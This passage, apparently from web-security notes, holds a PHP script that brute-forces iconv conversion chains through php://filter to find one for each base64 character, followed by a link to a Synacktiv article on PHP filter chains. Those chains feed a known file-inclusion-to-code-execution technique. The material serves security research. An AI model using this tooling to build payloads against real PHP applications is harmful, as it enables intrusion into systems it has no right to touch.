'ISO-IR-9-1', 'ISO-IR-10', 'ISO-IR-11', 'ISO-IR-14', 'ISO-IR-15', 'ISO-IR-16', 'ISO-IR-17', 'ISO-IR-18', 'ISO-IR-19', 'ISO-IR-21', 'ISO-IR-25', 'ISO-IR-27', 'ISO-IR-37', 'ISO-IR-49', 'ISO-IR-50', 'ISO-IR-51', 'ISO-IR-54', 'ISO-IR-55', 'ISO-IR-57', 'ISO-IR-60', 'ISO-IR-61', 'ISO-IR-69', 'ISO-IR-84', 'ISO-IR-85', 'ISO-IR-86', 'ISO-IR-88', 'ISO-IR-89', 'ISO-IR-90', 'ISO-IR-92', 'ISO-IR-98', 'ISO-IR-99', 'ISO-IR-100', 'ISO-IR-101', 'ISO-IR-103', 'ISO-IR-109', 'ISO-IR-110', 'ISO-IR-111', 'ISO-IR-121', 'ISO-IR-122', 'ISO-IR-126', 'ISO-IR-127', 'ISO-IR-138', 'ISO-IR-139', 'ISO-IR-141', 'ISO-IR-143', 'ISO-IR-144', 'ISO-IR-148', 'ISO-IR-150', 'ISO-IR-151', 'ISO-IR-153', 'ISO-IR-155', 'ISO-IR-156', 'ISO-IR-157', 'ISO-IR-166', 'ISO-IR-179', 'ISO-IR-193', 'ISO-IR-197', 'ISO-IR-199', 'ISO-IR-203', 'ISO-IR-209', 'ISO-IR-226', 'ISO/TR_11548-1', 'ISO646-CA', 'ISO646-CA2', 'ISO646-CN', 'ISO646-CU', 'ISO646-DE', 'ISO646-DK', 'ISO646-ES', 'ISO646-ES2', 'ISO646-FI', 'ISO646-FR', 'ISO646-FR1', 'ISO646-GB', 'ISO646-HU', 'ISO646-IT', 'ISO646-JP-OCR-B', 'ISO646-JP', 'ISO646-KR', 'ISO646-NO', 'ISO646-NO2', 'ISO646-PT', 'ISO646-PT2', 'ISO646-SE', 'ISO646-SE2', 'ISO646-US', 'ISO646-YU', 'ISO2022CN', 'ISO2022CNEXT', 'ISO2022JP', 'ISO2022JP2', 'ISO2022KR', 'ISO6937', 'ISO8859-1', 'ISO8859-2', 'ISO8859-3', 'ISO8859-4', 'ISO8859-5', 'ISO8859-6', 'ISO8859-7', 'ISO8859-8', 'ISO8859-9', 'ISO8859-9E', 'ISO8859-10', 'ISO8859-11', 'ISO8859-13', 'ISO8859-14', 'ISO8859-15', 'ISO8859-16', 'ISO11548-1', 'ISO88591', 'ISO88592', 'ISO88593', 'ISO88594', 'ISO88595', 'ISO88596', 'ISO88597', 'ISO88598', 'ISO88599', 'ISO88599E', 'ISO885910', 'ISO885911', 'ISO885913', 'ISO885914', 'ISO885915', 'ISO885916', 'ISO_646.IRV:1991', 'ISO_2033-1983', 'ISO_2033', 'ISO_5427-EXT', 'ISO_5427', 'ISO_5427:1981', 'ISO_5427EXT', 'ISO_5428', 'ISO_5428:1980', 'ISO_6937-2', 'ISO_6937-2:1983', 'ISO_6937', 'ISO_6937:1992', 'ISO_8859-1', 'ISO_8859-1:1987', 'ISO_8859-2', 'ISO_8859-2:1987', 'ISO_8859-3', 'ISO_8859-3:1988', 'ISO_8859-4', 'ISO_8859-4:1988', 'ISO_8859-5', 'ISO_8859-5:1988', 'ISO_8859-6', 'ISO_8859-6:1987', 'ISO_8859-7', 'ISO_8859-7:1987', 'ISO_8859-7:2003', 'ISO_8859-8', 'ISO_8859-8:1988', 'ISO_8859-9', 'ISO_8859-9:1989', 'ISO_8859-9E', 'ISO_8859-10', 'ISO_8859-10:1992', 'ISO_8859-14', 'ISO_8859-14:1998', 'ISO_8859-15', 'ISO_8859-15:1998', 'ISO_8859-16', 'ISO_8859-16:2001', 'ISO_9036', 'ISO_10367-BOX', 'ISO_10367BOX', 'ISO_11548-1', 'ISO_69372', 'IT', 'JIS_C6220-1969-RO', 'JIS_C6229-1984-B', 'JIS_C62201969RO', 'JIS_C62291984B', 'JOHAB', 'JP-OCR-B', 'JP', 'JS', 'JUS_I.B1.002', 'KOI-7', 'KOI-8', 'KOI8-R', 'KOI8-RU', 'KOI8-T', 'KOI8-U', 'KOI8', 'KOI8R', 'KOI8U', 'KSC5636', 'L1', 'L2', 'L3', 'L4', 'L5', 'L6', 'L7', 'L8', 'L10', 'LATIN-9', 'LATIN-GREEK-1', 'LATIN-GREEK', 'LATIN1', 'LATIN2', 'LATIN3', 'LATIN4', 'LATIN5', 'LATIN6', 'LATIN7', 'LATIN8', 'LATIN9', 'LATIN10', 'LATINGREEK', 'LATINGREEK1', 'MAC-CENTRALEUROPE', 'MAC-CYRILLIC', 'MAC-IS', 'MAC-SAMI', 'MAC-UK', 'MAC', 'MACCYRILLIC', 'MACINTOSH', 'MACIS', 'MACUK', 'MACUKRAINIAN', 'MIK', 'MS-ANSI', 'MS-ARAB', 'MS-CYRL', 'MS-EE', 'MS-GREEK', 'MS-HEBR', 'MS-MAC-CYRILLIC', 'MS-TURK', 'MS932', 'MS936', 'MSCP949', 'MSCP1361', 'MSMACCYRILLIC', 'MSZ_7795.3', 'MS_KANJI', 'NAPLPS', 'NATS-DANO', 'NATS-SEFI', 'NATSDANO', 'NATSSEFI', 'NC_NC0010', 'NC_NC00-10', 'NC_NC00-10:81', 'NF_Z_62-010', 'NF_Z_62-010_(1973)', 'NF_Z_62-010_1973', 'NF_Z_62010', 'NF_Z_62010_1973', 'NO', 'NO2', 'NS_4551-1', 'NS_4551-2', 'NS_45511', 'NS_45512', 'OS2LATIN1', 'OSF00010001', 'OSF00010002', 'OSF00010003', 'OSF00010004', 'OSF00010005', 'OSF00010006', 'OSF00010007', 'OSF00010008', 'OSF00010009', 'OSF0001000A', 'OSF00010020', 'OSF00010100', 'OSF00010101', 'OSF00010102', 'OSF00010104', 'OSF00010105', 'OSF00010106', 'OSF00030010', 'OSF0004000A', 'OSF0005000A', 'OSF05010001', 'OSF100201A4', 'OSF100201A8', 'OSF100201B5', 'OSF100201F4', 'OSF100203B5', 'OSF1002011C', 'OSF1002011D', 'OSF1002035D', 'OSF1002035E', 'OSF1002035F', 'OSF1002036B', 'OSF1002037B', 'OSF10010001', 'OSF10010004', 'OSF10010006', 'OSF10020025', 'OSF10020111', 'OSF10020115', 'OSF10020116', 'OSF10020118', 'OSF10020122', 'OSF10020129', 'OSF10020352', 'OSF10020354', 'OSF10020357', 'OSF10020359', 'OSF10020360', 'OSF10020364', 'OSF10020365', 'OSF10020366', 'OSF10020367', 'OSF10020370', 'OSF10020387', 'OSF10020388', 'OSF10020396', 'OSF10020402', 'OSF10020417', 'PT', 'PT2', 'PT154', 'R8', 'R9', 'RK1048', 'ROMAN8', 'ROMAN9', 'RUSCII', 'SE', 'SE2', 'SEN_850200_B', 'SEN_850200_C', 'SHIFT-JIS', 'SHIFTJISX0213', 'SHIFT_JIS', 'SHIFT_JISX0213', 'SJIS-OPEN', 'SJIS-WIN', 'SJIS', 'SS636127', 'STRK1048-2002', 'ST_SEV_358-88', 'T.61-8BIT', 'T.61', 'T.618BIT', 'TCVN-5712', 'TCVN', 'TCVN5712-1', 'TCVN5712-1:1993', 'THAI8', 'TIS-620', 'TIS620-0', 'TIS620.2529-1', 'TIS620.2533-0', 'TIS620', 'TS-5881', 'TSCII', 'TURKISH8', 'UCS-2', 'UCS-2BE', 'UCS-2LE', 'UCS-4', 'UCS-4BE', 'UCS-4LE', 'UCS2', 'UCS4', 'UHC', 'UJIS', 'UK', 'UNICODE', 'UNICODEBIG', 'UNICODELITTLE', 'US-ASCII', 'US', 'UTF-7', 'UTF-8', 'UTF-16', 'UTF-16BE', 'UTF-16LE', 'UTF-32', 'UTF-32BE', 'UTF-32LE', 'UTF7', 'UTF8', 'UTF16', 'UTF16BE', 'UTF16LE', 'UTF32', 'UTF32BE', 'UTF32LE', 'VISCII', 'WCHAR_T', 'WIN-SAMI-2', 'WINBALTRIM', 'WINDOWS-31J', 'WINDOWS-874', 'WINDOWS-936', 'WINDOWS-1250', 'WINDOWS-1251', 'WINDOWS-1252', 'WINDOWS-1253', 'WINDOWS-1254', 'WINDOWS-1255', 'WINDOWS-1256', 'WINDOWS-1257', 'WINDOWS-1258', 'WINSAMI2', 'WS2', 'YU');

$init = " ";
$known = array();


function get_tranform($val, $convs){
    foreach($convs as $conv){
        $val = @iconv($conv[0], $conv[1], $val);
    }
    return $val;
}


function test_value($val, $convs){
    global $known;

    $cleaned = preg_replace('/[^a-zA-Z0-9=\+]/', '', $val);

    if (strlen($cleaned) == 1 && ! in_array($cleaned, $known)){
        $re_check = get_tranform("r", $convs);
        $cleaned2 = preg_replace('/[^a-zA-Z0-9=\+]/', '', $re_check);
        if ($cleaned2 === $cleaned){

            $conv_str = "";
            foreach($convs as $conv){
                $conv_str .= "convert.iconv.".$conv[0].".".$conv[1]."|";
            }
            $conv_str = substr_replace($conv_str ,"", -1);

            $value = @file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|$conv_str|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=php://temp");

            if (strlen($value) > 0) {
                echo "Combination found for letter $cleaned: ";
                array_push($known, $cleaned);
                echo "$conv_str\n";

                if (count($known) == 64){
                    echo "All found\n";
                    exit(0);
                }
            }
        }
    }
}

function find_vals($init_val) {
    global $convs;

    $convs_used = array();
    $current_val = iconv("UTF8", "CSISO2022KR", $init_val);
    array_push($convs_used, array("UTF8", "CSISO2022KR"));

    $current_val2 = "";

    for ($c = 0; $c < 5; $c++){
        $conv1 = $convs[array_rand($convs, 1)];
        $conv2 = $convs[array_rand($convs, 1)];

        if ($conv1 === $conv2){
            continue;
        }

        $new_conv = array($conv1, $conv2);
        array_push($convs_used, $new_conv);

        $current_val2 = get_tranform($current_val, array($new_conv));

        if ($current_val === $current_val2){
            continue;
        }

        $current_val = $current_val2;
        test_value($current_val, $convs_used);
    }
  }

  while(true){
    find_vals($init);
}
?>

More References

https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html

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